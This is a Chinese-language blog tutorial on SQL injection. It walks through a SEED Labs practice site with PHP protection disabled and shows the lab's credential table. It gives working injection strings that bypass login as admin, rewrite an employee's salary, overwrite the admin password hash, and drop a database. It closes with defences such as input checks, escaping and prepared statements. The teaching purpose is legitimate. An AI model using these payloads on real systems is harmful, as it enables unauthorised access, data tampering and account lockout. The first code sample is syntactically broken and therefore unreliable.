SQL注入详解

什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,
而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登陆甚至篡改数据库。

SQL注入的总体思路

  1. 寻找到SQL注入的位置
  2. 判断服务器类型和后台数据库类型
  3. 针对不同的数据库和数据库特点进行SQL注入攻击

SQL注入攻击实例

String sql = "select * from user_table" where username=' "+userName" ' and password=' "password+" '";
# 当输入了上面的用户名和密码,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=''or 1=1 -- and password=''
"""
分析SQL语句:条件后面username"or 1=1 用户名等于 " 或1=1 那么这个条件一定会成功;然后后面加上两个-,这意味着注释,它将后面的sql语句注释,让它不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。对于一些不法黑客,如果执行的是以下的sql语句,后果不堪设想。
SELECT * FROM user_table WHERE username='';
DROP DATABASE(DB Name) --'and password=''
"""

下面演示黑客通过SQL注入攻击绕过密码直接登陆后台

演示环境准备
在Ubuntu12 虚拟机中安装SQL注入实验网站

$ tar -zxvf ./patch.tar.gz
$ cd patch
$ chmod a+x bootstrap.sh
$ ./bootstrap.sh

关闭PHP SQL注入攻击保护机制

/etc/php5/apache2/php.ini文件中

修改magic quotes gpc = On为Off

启动Apache服务(sudo service apache2 start)

在另一台Linux主机上配置DNS(在/etc/hosts文件添加)

 192.168.59.156 www.seedlabsqlinjection.com

ok!现在你可以成功访问了 通过命令行登录并查看数据库信息如下

$ mysql -u root -pseedubuntu
mysql> use Users;
mysql> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| credential      |
+-----------------+
mysql> select * from credential;
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name  | EID   | Salary | birth | SSN      | PhoneNumber | Address | Email | NickName | Password                                 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
|  1 | Alice | 10000 |  20000 | 9/20  | 10211002 |             |         |       |          | fdbe918bdae83000aa54747fc95fe0470fff4976 |
|  2 | Boby  | 20000 |  30000 | 4/20  | 10213352 |             |         |       |          | b78ed97677c161c1c82c142906674ad15242b2d4 |
|  3 | Ryan  | 30000 |  50000 | 4/10  | 98993524 |             |         |       |          | a3c50276cb120637cca669eb38fb9928b017e9ef |
|  4 | Samy  | 40000 |  90000 | 1/11  | 32193525 |             |         |       |          | 995b8b8c183f349b3cab0ae7fccd39133508d2af |
|  5 | Ted   | 50000 | 110000 | 11/3  | 32111111 |             |         |       |          | 99343bff28a7bb51cb6f22cb20a618701a2c2f58 |
|  6 | Admin | 99999 | 400000 | 3/5   | 43254314 |             |         |       |          | a5bdf35a1df4ea895905f6f6618e83951a6effc0 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+

网站原始基本信息如下:

User Employee ID Password Salary Birthday SSN Nickname Email Address Phone#
Admin 99999 seedadmin 400000 3/5 43254314
Alice 10000 seedalice 20000 9/20 10211002
Boby 20000 seedboby 50000 4/20 10213352
Ryan 30000 seedryan 90000 4/10 32193525
Samy 40000 seedsamy 40000 1/11 32111111
Ted 50000 seedted 110000 11/3 24343244

黑客通过SQL注入越权直接变身admin
下面是网站登录模块的代码,黑客通过分析代码,找出逻辑漏洞,并基于此漏洞进行攻击!

    $conn = getDB();
$sql = "SELECT id, name, eid, salary, birth, ssn,
phonenumber, address, email, nickname, Password
FROM credential
WHERE eid= '$input_eid' and password='$input_pwd'";
$result = $conn->query($sql))
// The following is psuedo code
if(name=='admin'){return All employees information.
} else if(name!=NULL){return employee information.
} else {authentication fails.
}

代码漏洞:"WHERE eid= '$input_eid' and password='$input_pwd'"

攻击串:' or Name='admin';#

攻击成功,成功登陆:

如果网站此时提供一个界面,供管理员修改你的工资

更改个人信息的代码如下:

$conn = getDB();
$sql = "UPDATE credential SET nickname='$nickname',
email='$email',
address='$address',
phonenumber='$phonenumber',
Password='$pwd'
WHERE id= '$input_id' ";
$conn->query($sql))

代码漏洞:$sql = "UPDATE credential SET nickname='$nickname',...

攻击串:',salary='9999999' where Name='Alice'#

成功修改工资余额,让你成为最富有的人:

黑客甚至可以通过SQL注入让管理员/本人无法登陆自己的账户!!!

root@gt:/home# echo -n "seedadmin" | openssl sha1
(stdin)= a5bdf35a1df4ea895905f6f6618e83951a6effc0
root@gt:/home# echo -n "hackbiji.top" | openssl sha1
(stdin)= a504e9efce2d451b08c285b2dfd2e7f8b241ba03
root@gt:/home#

攻击串:',Password='a504e9efce2d451b08c285b2dfd2e7f8b241ba03' where Name='Admin'#

此时管理员或者你本人也是无法登陆你自己的账号了

如何防御SQL注入

  但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL
传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或
传递大的参数,我们要时刻保持警惕,这是安全领域里的【外部数据不可信任】的
原则,纵观Web安全领域的各种攻击方式,大多数都是开发者违反了这个原则
导致的,所以能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所
预想的。

1、检查变量数据类型和格式

  如果你的sql语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那
么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该
检查并确保变量一定是邮箱格式。其他的类型比如日期、时间等也是一个道理。总
结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去
检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。比如,我们前面接受username参数例子中,我们产品设计应该在用户注册的一开
始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些
安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数
来统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布
系统,评论系统等必须要运行用户提交任意字符串的场景,这就需要采用过滤等其
他方案了。

2、过滤特殊符号

对于无法确定固定格式的变量,一定要进行特殊符号或转义处理。

3、绑定变量,使用预编译语句

MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编
译语句的方法。
实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL注
入的最佳方式,使用预编译的SQL语句语义,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构。

总结

作为一名Web应用开发人员,一定要对用户输入的数据进行严格的校验处理,否则的话,SQL Injection将会不期而至!

SQL注入 | 黑客入门篇(如何绕过密码登陆账号)相关推荐

  1. XSS注入基础入门篇

    XSS注入基础入门篇 1.XSS基础概念 2. XSS的分类以及示例 2.1 反射型XSS 2.1.1 示例1:dvwa low 级别的反射型XSS 2.1.2 攻击流程 2.2 DOM型XSS 2. ...

  2. SQL注入攻防入门详解

    转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...

  3. SQL 注入攻防入门详解

    为什么80%的码农都做不了架构师?>>>    SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...

  4. Sqlmap查找SQL注入漏洞入门

    Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...

  5. 关于sql注入这一篇就够了(适合入门)

    本文章根据b站迪总课程总结出来,若有不足请见谅 目录 存在sql注入条件 判断数据库类型 注入mysql思路 判断网站是否存在注入点 判断列名数量(字段数) 文件读写操作 网站路径获取方法 注入类型 ...

  6. SQL注入漏洞入门(操作实现)

    一 Sql-Inject的概述 SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句.它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器.攻击者可以使 ...

  7. SQL注入详解和简单绕过原理

    1.什么是SQL 结构化查询语言(Structured Query Language)简称SQL SQL使我们有能力访问数据库 2.什么是SQL注入 用户提交的数据可以被数据库解析执行 如果用户随随便 ...

  8. SQL注入攻击总结篇

    本文是关于SQL各种类型数据库的注入攻击自我复习总结,如果文中有不足的地方,麻烦大佬在评论中指出或者私聊我,谢谢- 本文讲述: SQL注入的原理 SQL注入的防御 SQL攻击的流程 其他数据库的注入方 ...

  9. hive hql文档_30分钟入门 Hive SQL(HQL 入门篇)

    Hive SQL 几乎是每一位互联网分析师的必备技能,相信每一位面试过大厂的童鞋都有被面试官问到 Hive 优化问题的经历.所以掌握扎实的 HQL 基础尤为重要,既能帮分析师在日常工作中"如 ...

最新文章

  1. 关于VS2012如何安装Windows Phone Toolkit
  2. 09JavaScript中的作用域
  3. day21 登录cookie
  4. Java并发(一)——线程
  5. [栈应用一] 括号匹配问题
  6. 【数据结构和算法笔记】线性表的查找(平均查找长度,二分法,判定树)
  7. POJ-1163(DP,Water)
  8. 无损1080i到1080p是如何制作的
  9. Iar工程调试使用教程
  10. https免费泛域名证书申请
  11. WIN10安装CUDA10 cuDNN
  12. c语言二十四点算法,本文实例为大家分享了C语言经典24点算法的具体实现代码,供大家参考,具体内容如下1、概述  给定4个整数,其中每个数字只能使用一次;任意使用 + - * /...
  13. Linux中的截图工具
  14. 高德离线地图瓦片坐标偏移纠偏
  15. 批处理命令一日一教学
  16. 清华大学、北京大学毕业生的去向
  17. 测试的职责是什么,就是不当背锅侠
  18. html 点击增加样式,js点击添加css样式 css添加jq点击事件 JavaScript点击增加css样式...
  19. 域渗透基础之NTLM认证协议
  20. NPM配置阿里云(淘宝)镜像仓库

热门文章

  1. TypeError: Cannot create property ‘csrq‘ on string ‘‘“
  2. csv文件介绍与使用
  3. 常用的业务分析指标统计口径(基于Hive实现)
  4. 2021考研数学一李永乐660题【习题册+答案册】
  5. ELECTRA论文笔记
  6. 三星java面试_【面试问题】三星数据系统(西安)Java面试20190222
  7. 视频号打造个人IP,新手如何打造私域流量池:国仁楠哥
  8. web前端期末大作业 简单的学生网页作业源码 基于html css javascript绿色的在线教育平台网站响应式企业网站模板
  9. echarts3.8.4实现城市空气质量(结合百度地图bmap.js,小航哥)
  10. 从 hybrid开发----》微前端